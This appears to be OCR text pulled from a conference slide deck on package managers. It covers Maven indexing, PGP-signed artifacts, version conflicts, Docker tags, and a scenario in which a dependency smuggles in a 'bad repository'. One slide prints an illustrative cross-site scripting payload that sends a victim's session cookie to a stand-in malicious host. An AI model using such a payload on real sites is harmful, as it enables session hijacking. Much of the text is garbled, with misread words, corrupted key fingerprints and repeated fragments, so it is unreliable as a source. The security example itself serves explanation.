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Package management system

From Wikipedia, the free encyclopedia

AAA, AN A

In software, a package management system, also called package manager, is a collection of softwf
packages for a computer's operating system in a consistent manner. It typically maintains a databaseg
prerequisites. }

Packages are distributions of software, applications and data. Packages also contain metadata, such -
list of dependencies necessary for the software to run properly. Upon installation, metadata is stored ig

Package management systems are designed to save organizations time and money through remote af
and updates. This can be particularly useful for large enterprises whose operating systems are based
distinct software packages; in the former case, a package management system is a convenience, in t?
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dpkg, RPM, tgz, pacman, ipkg, pkgutils, PETget, Upkg, PISI, nix, Equo,
Conary, tazpkg, App Store, MacPorts, fink, Homebrew, Google Play, Getjar,
Amazon Appstore, Cygwin, Npackd, Steam, Chocolately, NSIS, IPS, Docker,

Vagrant
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dpkg, RPM, App Store, Homebrew, Google
Play, Steam, Docker, Vagrant

Cabal, Composer, CPAN, CRAN, Python eggs, Ivy, Maven, Gradle, sbt,
leiningen, PyPl, NuGet, RubyGems, Quicklisp, CocoaPods
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Modules, modules, modules

dpkg, RPM, App Store, Homebrew, Google
Play, Steam, Docker, Vagrant

Ivy, Maven, Gradle, sbt, PyPl, NuGet,
RubyGems, CocoaPods

RoR, Grails, jQuery, Node.js, Spring Roo,
Chef, Puppet, Eclipse

Any pluggable application!
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Once Upon A Time...
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Not anymore...

@GeorgeBray .
y George Bray A

Your mobile phone has more computing
power than all of NASA in 1969. NASA
launched a man to the moon. We launch a
bird into pigs.
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Retweeted by ipajdakovic and 100+ others
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Look ma, no index download!

Google Search I'm Feeling Lucky






Maven Indexer: Sonatype's Donation to Repository Search

ebruary 1, 20 By 11m O'Brie

Elike {0 3 Tweet |4 g+ 0
We create a search index for the Maven repository so that you don't have to. What does this mean for you? It means that
you don't have to run a “little Google™ in your datacenter just to search for the latest log4) library, and you also don't have
to sacrifice Terabytes of bandwidth to download thousands of artifacts you'll never use to just to find the handful you need
for your project. This is all done for you on Central, and the tools you use to search Central, Nexus and m2eclipse all
benefit from this pre-made index file.

(AR QU SRETR G2 IS J % 0 TR SN TS IR BB AR BRI FIE
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Maven Indexer: Sonatype's Donation to Repository Search

ebruary 1, 20 By 11m O'Brie

Elike {0 3 Tweet |4 g+ 0
We create a search index for the Maven repository so that you don't have to. What does this mean for you? It means that
you don't have to run a “little Google™ in your datacenter just to search for the latest log4) library, and you also don't have
to sacrifice Terabytes of bandwidth to download thousands of artifacts you'll never use to just to find the handful you need
for your project. This is all done for you on Central, and the tools you use to search Central, Nexus and m2eclipse all
benefit from this pre-made index file.
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Who’s good, who’s not?

NuGet

RubyGems Deb
PyPi RPM
Docker Maven

Vagrant



Who’s good, who’s not?

Good Excuse:
N UGEt o old tools

RubyGems Deb /
PyPi RPM

Docker Maven

Vagrant




CSSON LEARNED

Index on the server-side,
expose query API
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inrich Heine

He



Harry Heine

Born
13 December 1797
Dusseldorf

Died ) 17 February 1856)(aged 58)

Paris, France
Occu ation Poet essayist, journalist,
literary critic
Nationality German
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WWW.TRUSTEDTIMESTAMPING.COM
Trusted!

SKS PGP PuBLIC KEY SERVER

This key server is for PGP, OpenPGP and GPG keys.
When entering the 8 digit key id, do not forget to put '0x' in front of it. E.g. Ox1f28d8ae.

EXTRACTING A PGP KEY

@ index
© verbose index

Search string: heinrichh J

show "fingerprints" for keys

[ only return exact matches

search ‘



Seawrch resudly for 'heivwichiv

Type bits/keyID Date User ID

pub 2048R/EEE66163 2013-01-15 Heinxi i i i )
Fingerprint=753A E364 727A 959A 98D9 8FSE 8A60 A4A2 GFP6—616A

pub 4096R/QA6F3796 2012-11-10 Ana Beatxi exxexo LA® - i
Fingerprint=66CS5 2B6B 95C8 DSEC 74FC 8B07 4756 CES82 OA6F 379

pub 1024D/3987SEDA 2011-08-07 wmmmmm )
Fingerprint=ES5%91 AD6E 9453 EC00 ACEE

pub 4096R/BO4B296E 2011-06-09 Heinri i r DS <heinri )
Fingerprint=868% 343D 6DEF FS8CF 9874 C3E4 9AS53 SAZE BOYE 296F

pub 1024D/S1EBEIF3 2010-05-16 MWMMW)
Fingerprint=E7B2 5402 7F97 4BB3 ClES SETF E18F 0665-53EB-EIF3

pub 1024D/C3DYA30F 2010-05-09 WMWM)
Fingerprint=C22E BE7C 6F68 BEOA 9775

pub 1024D/IJAF8S47F 2010-05-04 MMMWMMZ)
Fingerprint=891E B12A FC6B 2E03 C84F 622B

pub 2048R/E7550447 2010-05-03 mmmmmmmmmmm;
Fingerprint=Dé57 8F24 6CSB 1806 05D0 BBSE C22% CF

pub 1024D/91257278 2010-02-03 mmummm:;mz?
Fingerprint=EFA7 BCAQ S8BAC Al1FD" 25 727B

pub 2048R/4FQFASSA 2009-05-14 mmmumm;mummmz )
Fingerprint=2A61 E798 42A1 BSA6 07D2 1812 SAS55 CO

pub 1024D/24404C02 2009-04-07

Fingerprint=1360 D2E3

monkey <cremas@dsoap.gdf> .
Heinrich Heine <heinrichh@duesseldozf.de> )
2DFC 98A8 AEBS



pub 1024D/ES9€6DFE 2009-01-23 W
Fingerprint=791B B83B 5996 2A28 7C78 2E73 9EF

pub 1024D/B1438145 2009-01-21 Heinxi j inri > Smart ass!
Fingerprint=BE22 B3DF 2209 41DC BEE4 3 8145

pub 4096R/Q643A62E 2008-10-29 MMMW)
Fingerprint=B566 3E1F DF6E D702 B62B ADBA

pub 4096R/QBEEB293 2008-10-28 Dex Dichter <heinxichh@dues.de> g
Fingerprint=D08C C280 DA2B AOOF D EE B29A

pub 1024D/CE4BE756 2008-02-20 m:wumummmmm)
Fingerprint=1DSBE 8FB7 85E7 SFB3 8B8C 1811 06F7 SBBE-C84B-E756

pub 1024D/1BE7ISEA 2007-09-11 %
Fingerprint=0077 D74D 9A48 1468 DD3D

pub 1024D/EFC21DD6é 2006-11-09 Heinxich Heine <heinzichh@gpg4win.de> ’
Fingerprint=2A05 F3D1 1885 64B4 3203 ° 3

pub 1024D/A8316E71 2006-10-16 Heinxi i i inxi
Fingerprint=73A7 FSFC 4EF4 6C7D 6972 18C1 2CF0 29ET KU1 GETT

)

pub  768D/447DFGAE 2004-06-25 Heinxich Heine <heinrichh@duesseldorf.de> )
Fingerprint=5B59 D22B FODD 2EA6 6BA2

pub 1024D/DEASDFAS 2004-04-05 mmmmwmmﬁm)
Fingerprint=0A2D E77F $90C 80F2 ACA6é 7859 FBBE ED =S

pub 1024G/ESS74COB 2003-09-27
(Der Dichter)

_<heinrichh@duesseldorf. de> )
Fingerprint=CESA D43F F7B6é F788 7502 4593 ABS7 C7

pub 1024D/8DQED13F 2003-04-06 meummwmz)
Fingerprint=054D S$7AE 7FB4 ABCO OFAé 2B60 8772 EC

pub 1024D/BO6E3524 1997-09-28 i inxi inxi
Fingerprint=8394 27EB 2525 AABS ES84C
PV SV AV S L SN N S G S VN SV ANV A VLV S S AP VN N S O L S A LV Y AR AL S Y W S el Y S TV S AN S AV SN AV e o
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LOTS OF THEM...




gpg (GnuPG) 1.4.11; Copyright (C) 2010 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

: directory "/home/noam/.gnupg' created
: new configuration file °/home/noam/.gnupg/gpg.conf' created
: WARNING: options in " /home/noam/.gnupg/gpg.conf' are not yet active during this run
: keyring °“/home/noam/.gnupg/secring.gpg' created
: keyring °“/home/noam/.gnupg/pubring.gpg' created
select what kind of key you want:
RSA and RSA (default)
DSA and Elgamal
DSA (sign only)
RSA (sign only)
Your selection?
RSA keys may be between 1024 and 4096 bits long.
What keysize do you want? (2048)
Requested keysize is 2048 bits
Please specify how long the key should be valid.
® = key does not expire
<n> key expires in n days
<n>w = key expires in n weeks
<n>m key expires in n months
<n>y = key expires in n years
Key is valid for? (0)
Key does not expire at all
Is this correct? (y/N) vy

You need a user ID to identify your key; the software constructs the user ID
from the Real Name, Comment and Email Address in this form:

Real name: I




Name Last Modified Size

N,

jquery-1.6.2.jar 02-Nov-2012 100.7 K
jquery-1.6.2.jar.asc 02-Nov-2012 490 B
jquery-1.6.2.jar.asc.md5 02-Nov-2012 32B
jquery-1.6.2.jar.asc.sha1 02-Nov-2012 40B
jquery-1.6.2.jar md5 02-Nov-2012 32B
jquery-1.6.2.jar.sha1 02-Nov-2012 40B
jquery-1.6.2.pom 02-Nov-2012 42K
jquery-1.6.2.pom.asc 02-Nov-2012 490 B
jquery-1.6.2.pom.asc.md5 02-Nov-2012 32B
jquery-1.6.2.pom.asc.shal 02-Nov-2012 40B
jquery-1.6.2.pom.md5 02-Nov-2012 32B

jquery-1.6.2.pom.sha1 02-Nov-2012 40B




NOT SURE IF WRITTEN

Name Size
o

jquery-1.6.2.jar 100.7 K
query-1.6.2.jar.asc 490 B
jquery-1.6.2 jar.asc.md5 328
jquery-1.6.2 jar.asc.sha 40B
jquery-1.6.2.jar md5 32B
jquery-1.6.2.jar.sha1 40B
jquery-1.6.2.pom 42K
jquery-1.6.2.pom.asc 490B
jauery-1.6.2.pom.asc.mq 32B
jquery-1.6.2. pom.asc.sh 40B
jquery-1.6.2.pom.md5 32B

- Bv “ EI N n I c “ “ EI N E .
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He cut his ear off
and died unappreciated
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Authenticate by public identity;
Give credit to the developer






|ldentified, credited. Well Done.
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JjQuery 1.9.0

JQuery is 3 new lind of JavaScript Library.

JQuery is a fast and conase JavaScript Library that simplfies HTML document traversing, event handling. animating. and
Ajax interactions for rapid web development. jQuery is designed to change the way that you write JavaScript.

1,480,970

NOTE: This package is maintained on behalf of the library owners by the NuGet Community Packages project at
Downloads

httpe//nugetpackages.codeplexcom/

3 4 0 1 9 To install jQuery. run the following command in the Package Manager Console
’

Downloads of v 1.9.0

1/15/2013

Last update

PM> Install-Package jQuery

W Tweet <2

Proiect Site ke K] One person lees ths. Be the frat of your Siends.
) >

License

Report Abuse 'Owners 1
Contact Owners
How to Download damianedwards

Q outercurve

Authors

John Resig
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How it works

A - h 2//dl.bi x /mitchellh/v...
e mitchellh / vagrant / vagrant (] Mepsdlbintray.com/mitche
Owned by Mitchell Hash... rdrfriri DA contact P Link (1) Report

Vagrant provides easy to configure, reproducible, and portable work environments built on top of industry-standard technology and % SET ME UP!
controlled by a single consistent workflow to help maximize the productivity and flexibility of you and your team.

To achieve its magic, Vagrant stands on the shoulders of giants. Machines are provisioned on top of VirtualBox, VMware, AWS, or any

other provider. Then, industry-standard provisioning tools such as shell scripts, Chef, or Puppet, can be used to automatically install

and configure software on the machine.

Readme Release Notes Reviews (0) Statistics Files
About This Package Version Notification Links & Versions Latest Version Badge [:J_;|
Website http://www.vagrantup.com 1.7.4 o
Issue Tracker ~ None 1.7.3
VvCs None 1.7.2
Licenses MIT (D 174
1.7.0
Downloads (ver: 1.7.4) View Al
Watchers (40) Watch %VIEW All

SuO
See
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How it works

5 - https://dl.bi x /mitchellh/v...
e mitchellh / vagrant / vagrant (] Mepsdlbintray.com/mitche

Owned by Mitchell Hash... rdrfriri DA contact P Link (1) Report

Vagrant provides easy to configuMreproducible, and portable work environments built on top of industry-standard technology and % SET ME UP!
controlled by a single consistent worRgow to help maximize the productivity and flexibility of you and your team.

To achieve its magic, Vagrant stands on shoulders of giants. Machines are provisioned on top of VirtualBox, VMware, AWS, or any

other provider. Then, industry-standard proyjsioning tools such as shell scripts, Chef, or Puppet, can be used to automatically install

and configure software on the machine.

Thank him here!

Readme Release Notes Reviews (0) Statistics Files
About This Package Version Notification Links & Versions Latest Version Badge [:J_;|
Website http://www.vagrantup.com 1.7.4 o
Issue Tracker ~ None 1.7.3
VvCs None 1.7.2
Licenses MIT (D 174
1.7.0
Downloads (ver: 1.7.4) View Al
Watchers (40) Watch %VIEW All

SuO
See
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How it works

. - https://dl.bintray. /mitchellh/v...
e mitchellh / vagrant / vagrant (] Mepsdlbintray.com/mitche

Owned by Mitchell Hash... rdrfriri DA contact P Link (1) Report

Vagrant provides easy to configure, reproducible, and portable work environments built on top of industry-standard technology and % SET ME UP!
controlled by a single consistent workflow to help maximize the productivity and flexibility of you and your team.

To achieve its magic, Vagrant stands on the shoulders of giants. Machines are provisioned on top of VirtualBox, VMware, AWS, or any

other provider. Then, industry-standard provisioning tools such as shell scripts, Chef, or Puppet, can be used to automatically install

and configure software on the machine.

Readme Release Notes Reviews (0) Statistics Files
About This Package Version Notification Links & Versions Latest Version Badge
Website http://www.vagrantup.com 1.7.4
Issue Tracker ~ None 173
VvCs None 1.7.2
Licenses MIT (D 174
1.7.0

Downloads (ver: 1.7.4) View All

Watchers (40) Watch %v;ew All
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Imagine a typical windows user
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Select Destination Location
Where should iMeme be installed?

‘ Setup will install iMeme into the following folder.

To continue, dick Next. If you would like to select a different folder, dick Browse.

C:\Program Files (x86)\|Meme Browse...

No version

At least 20.2 MB of free disk space is required.
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Depending on name only

aptitude

/ libxapian15

libcwidget3

libapt-pkg-libc6. 7-6@

libncursesw5

libsigc++-2.0-0c2a

- libxapian2

libsigc++-1.9-0

>

libsigc++-2.0-0

libsigc++-2.0-0c2




Where’s the

Depending on name only vesn

libeptO

aptitude

/ libxapian15

libcwidget3

libapt-pkg-libc6. 7-6D

dude?!

libncursesw5

libsigc++-2.0-0c2a

p- libxapian2

libsigc++-1.9-0

»

libsige++-2.0-0

libsigc++-2.0-0c2
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INSTALL MULTIPLE VEBSIIINS OF..
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I_I stackoverflow =

_two versions of ruby installed, how to fix that?
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I_I stackoverflow =

_two versions of ruby installed, how to fix that? ~
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Ruby Version Manager: Easily Use
Multiple Ruby Versions At Once

By Peter Cooper / August 26, 2

a a Ruby Version Manager S!tHub repo (3 k a. RVM) makes it ridiculously easy
to install and switch between multiple Ruby versions on OS X and Linux.
a Over the last 24 hours, I've been playing with RVM and talking to creator
a a Wayne E. Seguin and have been blown away with how cool (and simple) it
is - you will definitely want to check this one out.
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Single Namespace Troubles
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multiple Groovy Homebrew
versions,

update all



Single Namespace Troubles
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Single Namespace Troubles

Can’t use
multiple
versions,
update all

Classpath/
DLL hell

RPMs, Ruby,
Groovy

Transitive
dependency
conflicts

RVM, GVM,
Homebrew

Uberjar /Static
compilation
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Maven’s Conflict Manager



Maven’s Conflict Manager
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Maven’s Conflict Manager




Maven’s Conflict Manager

L

Which version of D ends up in classpath?

' ;AZD v;l_ >V 8D v2
;C: °DtNone 7

Both




Maven’s Conflict Manager

\




Maven’s Conflict Manager

Which version of D ends up in classpath?

°DtNone 7

;C:Both




Maven’s Conflict Manager







BOROMIR RETURNS!
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-artifacts-14
filestore

antlr
L—antlr

L—2.7.7

83cd2cdb74a217ade95a4bb83a8al4f351f48bd0
;pom

L—52f15b99911ab8b8bc8744675f5cf1994a626fb8




-artifacts-14
filestore

antlr
L—antlr

83cd2cdb74a217ade95a4bb83a8al4f351f48bd0

L—52f15b99911ab8b8bc8744675f5cf1994a626fb8

nmncLaudaita

antlr

cglib-nodaep
L—2.2.2

com.beust
L—jcommander




-artifacts-14
filestore
antlr

83cd2cdb74a217ade95a4bb83a8al4f351f48bd0

L—52f15b99911ab8b8bc8744675f5cf1994a626fb8

cglib-nodep
L—2.2.2

com.beust
L—jcommander

—artifacts-8

filestore
74a217ade95a4bb83a8al4351t48bd0
911ab8b8bc8744675F5cf1994a6261b8
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Just not very usable...
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Provide isolation
and cache managment
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Version ranges

[ Version 3 and newer will do ]

>
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Stuff Suddenly stops working

e,




The anatomy of an image




O 00O J O U &5 WIN -

And the winner is...

FROM ubuntu <@ |atest version

Latest version
RUN apt-get install -y python—software—propertimon

RUN apt—-get install -y nodejs
RUN mkdir /var/www S« Latest version

ADD app.]js /var/www/app.]s <@ |atest version

CMD ["/usr/bin/node", "/var/www/app.js"]



Whole new meaning to
“The Fail Whale”

© Mark Reeve/ Archant
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Require explicit
dependency versions
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Network Pull Requests 30 Issues 32 Wiki Graphs

The Spring Framework — Read
http://spring gl/spring-fram

I
e

42 Clone in Windows > ZIP
Read-Only access

m SSH  GitRead-Only https://github.com/SpringSource/spring-framework.gi B

P branch:3.2x - Files Commits Branches

Tags 32
Configuration

spring-framework / ® is sources

® 1000+ commits
MediaType throws dedicated InvalidMediaTypeException instead of g
@ inoeller autnored 2 day ago latest cosmit S85946851 [
B settings 6 months ago
B buildSrc 6 days ago

B gradle 3 days ago

e spring-asm and inline ASM 4 into spring-core [cbeams)

Restore compile dependencies in g d POMs [philwebb)

Sort maven dependencies in generated pom files [rwinch)
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B spring-webmve

5 ago Raise ption on missing request p [rstoyanchev]

. s 5 days ago Fix typo in new-in-3.2.xml document [Ken Dombeck]

B gitignore 20 days ago Exclude eclipse WTP generated artifacts [philwebb)]

[ CONTRIBUTING.md 2 days ago Update example years to 2013 in CONTRIBUTING.md [philwebb)

B README.md

B build.gradle
= gradle.properties

3 months ago Update README to reflect JOK 1.7 build prereq [cbeams]

6 days ago Restore compile dependencies in g d POMs [philwebb]
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Q LogIn Help

me Search type: Quick Archive GAVC Property Checksum Remote
fQ Arifacts Artifact Repository Browser & SetMeUp ¢ Deploy
Build Tree Simple Q v| Compress Empty Folders

Ol m spring-core-4.2.2.RELEASE.pom &, Download @ View

» & 4.0.9.RELEASE

> © 41.0RELEASE General Pom View Properties Builds Governance

» & 4.1.1.RELEASE

» & 4.1.2.RELEASE

POM Content
» & 4.1.3.RELEASE

(@)

» & 4.1.4RELEASE

1 <?xml version="1.0" encoding="UTF-8"?>

» @ 4.1.5.RELEASE 2 <project xsi:schemalocation="http://maven.apache.org/POM/4.0.0 http://maven.fpbache.org/xsd/maven-4.0.0.xsd" xmlns="http://maven.apache.org/POM/4.0.0"
3 xmlns : x: “nttp://www.w3.0rg/2001/XMLSch insta >

» & 4.1.6.RELEA
6.RELEASE 4 <modelVersion>4.0.0</modelVersion>

» @ 4.1.7.RELEASE 5 <groupld>org.springframework</groupId>

6 <artifactId>spring-core</artifactId>

» & 4.1.8.RELEASE

<version>4.2.2.RELEASE</version>

» & 4.2.0.RELEASE 8 <name>Spring Core</name>
9 <description>Spring Core</description>
> &
7 4.2.1.RELEASE 10 <url>https://github.com/spring-projects/spring-framework</url>

v @ 4.2.2.RELEASE 13 <organization>

<name>Spring I0</name>

’ spring-core-4.2.2.RELEASE-javadoc.jar

<url>http://projects.spring.io/spring furl>
(%) spring-core-4.2.2.RELEASE-javadoc.jar.asc 14 </organization>
. 15  <licenses>
» O spring-core-4.2.2.RELEASE-sources.jar i P —
(%) spring-core-4.2.2.RELEASE-sources.jar.asc 17 <name>The Apache Software License, Version 2.0</name>
18 <url>http:// h licenses/LICENSE-2.0.txt</url>

» & spring-core-4.2.2.RELEASE.jar

19 <distribution>repo</distribution>

tz) spring-core-4.2.2.RELEASE jar.asc 20 </license>
. 21 </licenses>
m SEr\nE ore-4 RELEASE. Eom T
fx] spring-core-4.2.2.RELEASE.porgasc 23 <developer>
24 <id>jhoeller</id>

] maven-metadata.xml

fz] maven-metadata.xml.asc

spring-expression

» & spring-framework-bom

spring-instrument

» £ spring-instrument-tomcat Metadata are artlfaCts

7 spring-jdbc

b cnrinmime



So, a user had a project...




My
Project
IA1I

Userhad a
project




<alwaysUse>
<repository>MyRepo</repository>
</alwavsUse>

My
Project
IA1I

She wanted
sole provider




<alwaysUse>
<repository>MyRepo</repository>

</alwavsUse>

My
Project
IA1I

<dependency>B1</dependency>

Her project has a
dependency




<alwaysUse>
<repository>MyRepo</repository>
</alwaysUse>

My
Project
lAll

<dependency>B1</dependency>

Project
lBll

I

She got it from
her repository




<alwaysUse>
<repository>MyRepo</repository>
</alwavsUse>

My
Project
lAl’

<dependency>B1</dependency>

Project
IBll

<repository>BadRepo</repository>
<dependency>C1</dependencyi>\N

AN
/ It has mixed

config and
metadata!

And declared
bad repository

BadRepo




<alwayvsUse>
<repository>MyRepo</repository>
</alwavsUse>

<dependency>B1</dependency>

Project
IB 1I

<repositor repository>
<dependency>CIl< oependency>\\

AN
/ It has mixed

config and
metadata!

And declared
bad repository




<repository>MyRepo</repository>
<repository>BadRepo</repository>

<dependency>B1l</dependency>
<dependency>C1l</dependency>

Project
lBll

Metadata and
settings were
merged to her

project

BadRepo




<repository>MyRepo</repository>
<repository>BadRepo</repository>

<dependency>B1l</dependency>
<dependency>Cl</dependency>

Project
lBll

g .
Her good repository
[ was shortcuted!

BadRepo







AKA DEPLINDINCY
MANAGTMENT X88
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http://www.bigsafebank~~~/search,asp?q=<script>x=new
Image;x.src = “http://malicious-domain~s-/
hijackedsession.php?session-cookie="+document.cookie ;</script>




MAVEN IS NOT ALONE.
HERE YOU GO:



So, a user wanted to
install an npm package...




$npm cache clean

$npm config set registry \
http://192.168.99.100:8081/artifactory/api/npm/npm-registry

$npm -d install intern@1l.3



fetch GET http://192.168.99.100:8081/artifactory/api/npm/npm-registry/chai/-/chai-1.5.0.tgz
fetch 200 http://192.168.99.100:8081/artifactory/api/npm/npm-registry/chai/-/chai-1.5.0.tgz
fetch 200 https://github.com/csnover/dojo2-core/archive/3e4152d20e.tar.gz

200 http://192.168.99.100:8081/artifactory/api/npm/npm-registry/istanbul




fetch GET http://192.168.99.100:8081/artifactory/api/npm/npm-registry/chai/-/chai-1.5.0.tgz
fetch 200 http://192.168.99.100:8081/artifactory/api/npm/npm-registry/chai/-/chai-1.5.0.tgz
fetch 200 https://github.com/csnover/dojo2-core/archive/3e4152d20e.tar.gz

200 http://192.168.99.100:8081/artifactory/api/npm/npm-registry/istanbul




"name”: "intern”,
"version": "1.3.2",
"main®: "main”,
"description”: "Intern. A next-generation code testing stack for JavaScript.”,
"repository”: {
"type": "git",
"url™: "https://github.com/theintern/intern.git”
}s
"licenses": [
{ "type™: "BSD-3-Clause"”, "url": "https://github.com/theintern/intern/blob/master/LICENSE" }
1,
“"dependencies”: {
"wd": "0.2.2",
"istanbul": "0.1.35",
"sauce-connect-launcher": "0.1.11",
"dojo": "https://github.com/csnover/dojo2-core/archive/3e4152d20e.tar.gz",
"chai": "1.5.0"
}s
"devDependencies": {
"intern®: "1.3.2"

}s
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Don’t mix configuration and
metadata
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Which witch watch which watch

IETWOIWITCHES WATCH
TWOIWATCHES

THEN WHICH\WITCH
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Which version of plugin



Which version of plugin
for which version of elasticsearch



NII'NEEDIA
EMS*TIGSEAI%BTI*

S PLUGIN ron 7

GRAILS. f’"

|"'

4
»

Which version of plugin
for which version of elasticsearch
works with which version of grails?






Wouldn't it be
dreamy if there
was a way to
express version

compatibility
matrix?



ava Community, Shame On You!
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Here’s how you do it:



Here’s how you do it:

rom package manager

the standard Unix software packaging tool

About | News | Press Releas admap
Team | Community | Tickets | Sources | Files | Docs

About RPM




Here’s how you do it:

Provides: ;
PreReq: ¢
Requires: ;
Conflicts: )
Obsoletes: j
In a spec file (i.e. the same parser is used), so items look Iiké
4

/bin/sh # file existence >
libc.so.6 # soname existence ;
foo <= 1:2.3-4 # versioned package €
perlb (Apache) <= 1.2 # versioned namespace ;
£
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Here’s how you do it:

Provides: ;
PreReq: ¢
Requires: ;
Conflicts: )
Obsoletes: 5
In a spec file (i.e. the same parser is used), so items look Iiké
4

/bin/sh # file existence >
libc.so.6 # soname existence ;
foo <= 1:2.3-4 # versioned package ;
perlb (Apache) <= 1.2 # versioned namespace
£
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Here’s how you do it:

Provides:
PreReq:
Requires:
Conflicts:
Obsoletes:

In a spec file (i.e. the same parser is used), so items look lik

«
£
€
1
£
é
¢
£
§
<
4
¢
«
4
£
<
¢
€
¢
{
<
£

/bin/sh # file existence
_libc.so0.6 # soname existence
foo <= 1:2.3-4 # versioned package
perl5 (Apache) <= 1.2 # versioned namespace
A AN R A R R i AT T TINTTINETIE TN A AN p S NP OB N e A MDA
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Version Dependency isn’t enough
Support dependency matrix
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Trumped-up limitations

(640K QUGHTTOBEENOUGHEORANYODY

BILIGATES

A

(© Lifehack Quotes




The Anatomy of a Docker Tag
tag

Usage: docker tag [OPTIONS] IMAGE[:TAGJ [REGISTRYHOST/][USERNAME/INAME[ : TAG]

Tag an image into a repository

docker pull jfrog-registry.bintray.io/jfrog/artifactory-pro:4.2



(Wait a minute, how can I\
have more than one

Docker repository per host

\_ now?!

"
l

imgflip.com=+




“One repository per host is
ought to be enough for anybody.”

Request- How Much Alcohol is needed to get a whale drunk? (seir.theydidthemath)
submitted 1 year ago by quintonater

This is actually a topic my friend and I have hotly debated. If somebody could come up with a solid or semi-solid
answer, I would be greatly happy.

or clarification, by whale I mean a typical blue whale, and by alcohol I mean a normal beer. I'm looking for the
er of beers total.

could offer a prize for whoever delivers, but I'm flat out broke so I'm not sure if I'd be able to buy some reddit
blow me away and you never know!

https://www.reddit.com/r/theydidthemath/comments/1x37rx/request_how_much_alcohol_is_needed_to_get _a_whale
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Namespacing needs to be open
Keep HTTP repos HTTP friendly



NO (yOeg Sfm@r s
ONE MNORE T MING..



Doc predicts

'b

L_r’“.

Monn*mnulis'




BILLIONS OF DEVICES

All you need is cloud
THE INTERNET OF THINGS i @

AN EXPLOSION OF CONNECTED POSSIBILITY o
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